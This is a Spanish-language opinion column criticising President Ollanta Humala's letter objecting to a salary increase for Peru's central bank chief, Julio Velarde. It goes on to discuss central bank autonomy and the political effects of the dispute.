Ayer se armó un gran escándalo. El presidente Ollanta Humala Tasso (OHT) le dijo al jefe del Banco Central de Reserva (BCR), Julio Velarde, que no estaba de acuerdo con su último aumento de sueldo, que hubiera significado pasar de S/. 41,600 a S/. 44,096. Cabe destacar, sin embargo, que este incremento de 6% aproximadamente era en realidad parte de una mejora en la escala remunerativa de toda la institución. Y aunque el presidente dijo respetar la autonomía del BCR, él no sólo expresó su disconformidad, sino que pidió que el aumento se anule a través de una carta formal desde palacio de gobierno (al final, Julio Velarde renunció a su aumento voluntariamente). En otras palabras, OHT respeta la independencia del banco central pero igual le dice qué debe hacer.
El problema, sin embargo, no queda ahí. Veamos.
Primero, y como toda la oposición ha estado presta a destacar, el presidente sale ahora a “pechar” al BCR, pero se quedó bien tranquilo cuando los ministros elevaron sus remuneraciones, no en 6%, sino en 100% hace ya varios meses. La bendita carta, por lo tanto, parece haber sido escrita en las mismísimas playas de Conchán y con una falta de criterio sideral. Lo torpe que resulta todo este asunto sólo sirve para dar mayor credibilidad a la noción de que esto es sólo una cortina de humo para distraer de las feas acusaciones que afectan al gobierno últimamente.
Segundo, tanto el BCR como el Consejo de Ministros han puesto en evidencia que la habilidad técnica no es suficiente para gobernar con efectividad. Que ambos elevaran las remuneraciones de sus altos funcionarios después de manifestarse firmemente en contra de elevar el sueldo no es en sí mismo una contradicción, pero sí una decisión política poco pensada. Es verdad que el aumento del sueldo mínimo podría disminuir el empleo; no obstante, bloquear lo anterior y a la vez elevar el salario de los altos funcionarios resta legitimidad a los hacedores de política, haciendo parecer que o son insensibles o se aprovechan de sus puestos de influencia. Aunque el aumento pueda estar muy bien fundamentado, cualquier institución pública, incluyendo el BCR, debe tener cuidado al tomar este tipo de decisiones. Esto terminó pasándole factura y lo obligó a tomar marcha atrás, aunque sólo parcialmente (Velarde renunció a su aumento, pero el resto de mejoras salariales en el BCR se mantiene). A la larga, todo se resume a una cuestión de tino.
Tercero, la autonomía del Banco Central, algo que todo este chamuyo parece haber puesto en tela de juicio, existe por razones técnicas: evitar que la política monetaria responda a consideraciones políticas. Existe amplia evidencia de que esto es preferible y que los países con bancos centrales independientes tienen un manejo económico más correcto que, entre otras cosas, conlleva a una menor inflación. Sin embargo, que la política monetaria sea autónoma no significa necesariamente que deba existir independencia en el manejo salarial del BCR. Una cosa no conlleva a la otra, sobre todo si tenemos en cuenta que nuestro sistema de gobierno es democrático, no tecnocrático. Por lo tanto, una opción en el medio sería que el BCR proponga ajustas salariales, pero que éstos tengan que ser aprobados por el Congreso primero. Ni siquiera el CEO de una corporación privada tiene el cuajo para determinar libremente cuál es su sueldo, sino que consulta con un directorio para aprobarlo.
Por último, cabe preguntarse sobre las potenciales consecuencias de la carta presidencial. Antes de la segunda vuelta de 2011, el entonces candidato OHT planteaba un modelo económico intervencionista que, entre otras cosas, contemplaba restar independencia al BCR. Aunque es poco probable que esto suceda ahora, las objeciones de OHT pueden generar un poco de temor, tal como sucedió hace 18 meses con la posibilidad de comprar La Pampilla. En un contexto de desaceleración, en el que la economía aún se enfrenta a varios vientos en contra, generar un clima enrarecido como este resulta poco saludable. El gobierno, a través del MEF (que probablemente no ha tenido nada que ver en nada con la carta), tiene mucho trabajo por delante para reflotar la economía, y parte del mismo requiere de la colaboración del BCR. No es el momento para este tipo de disputas.
En resumen, todo lo extraño que resulta este asunto sugiere que el trasfondo probablemente sea otro. El mismo BCR manifestó en su comunicado de ayer que ésta es una discusión estéril, y tiene razón. Como país, no hay que permitir que este tema nos distraiga de los enormes retos que enfrentamos en términos de crecimiento, educación y salud, entre otros. De ser así, las ventanas de oportunidad para solucionarlos se cerrarán. Al final, en todas partes se oculta el sol. Incluso en Conchán.
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